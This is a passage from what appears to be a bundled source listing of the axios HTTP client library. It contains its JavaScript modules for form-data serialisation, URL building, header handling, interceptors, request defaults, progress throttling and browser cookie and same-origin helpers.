eslint-disable-next-line no-eq-null,eqeqeq\n return !utils.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n if (!utils.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils.isDate(value)) {\n return value.toISOString();\n }\n\n if (!useBlob && utils.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils.isArray(value) && isFlatArray(value)) ||\n ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils.forEach(value, function each(el, key) {\n const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode);\n } : encode;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n isBrowser: true,\n classes: {\n URLSearchParams,\n FormData,\n Blob\n },\n protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n (product) => {\n return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv,\n origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n ...utils,\n ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n const obj = {};\n\n utils.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils.isObject(data);\n\n if (isObjectPayload && utils.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils.isArrayBuffer(data) ||\n utils.isBuffer(data) ||\n utils.isStream(data) ||\n utils.isFile(data) ||\n utils.isBlob(data) ||\n utils.isReadableStream(data)\n ) {\n return data;\n }\n if (utils.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils.isResponse(data) || utils.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils.isString(value)) return;\n\n if (utils.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite)\n } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils.isHeaders(header)) {\n for (const [key, value] of header.entries()) {\n setHeader(value, key, rewrite);\n }\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils.forEach(this, (value, header) => {\n const key = utils.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n const config = this || defaults;\n const context = response || config;\n const headers = AxiosHeaders.from(context.headers);\n let data = context.data;\n\n utils.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null\n };\n\n data[isDownloadStream ? 'download' : 'upload'] = true;\n\n listener(data);\n }, freq);\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n const threshold = 1000 / freq;\n let timer = null;\n return function throttled() {\n const force = this === true;\n\n const now = Date.now();\n if (force || now - timestamp > threshold) {\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n timestamp = now;\n return fn.apply(null, arguments);\n }\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n timestamp = Date.now();\n return fn.apply(null, arguments);\n }, threshold - (now - timestamp));\n }\n };\n}\n\nexport default throttle;\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n (function standardBrowserEnv() {\n const msie = /(msie|trident)/i.test(navigator.userAgent);\n const urlParsingNode = document.createElement('a');\n let originURL;\n\n /**\n * Parse a URL to discover its components\n *\n * @param {String} url The URL to be parsed\n * @returns {Object}\n */\n function resolveURL(url) {\n let href = url;\n\n if (msie) {\n // IE needs attribute set twice to normalize properties\n urlParsingNode.setAttribute('href', href);\n href = urlParsingNode.href;\n }\n\n urlParsingNode.setAttribute('href', href);\n\n // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n return {\n href: urlParsingNode.href,\n protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n host: urlParsingNode.host,\n search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n hostname: urlParsingNode.hostname,\n port: urlParsingNode.port,\n pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n urlParsingNode.pathname :\n '/' + urlParsingNode.pathname\n };\n }\n\n originURL = resolveURL(window.location.href);\n\n /**\n * Determine if a URL shares the same origin as the current location\n *\n * @param {String} requestURL The URL to test\n * @returns {boolean} True if URL shares the same origin, otherwise false\n */\n return function isURLSameOrigin(requestURL) {\n const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n return (parsed.protocol === originURL.protocol &&\n parsed.host === originURL.host);\n };\n })() :\n\n // Non standard browser envs (web workers, react-native) lack needed support.\n (function nonStandardBrowserEnv() {\n return function isURLSameOrigin() {\n return true;\n };\n })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils.isString(path) && cookie.push('path=' + path);\n\n utils.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n if (baseURL && !isAbsoluteURL(requestedURL)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n","'use strict';\n\n/**\n * Determines whether the 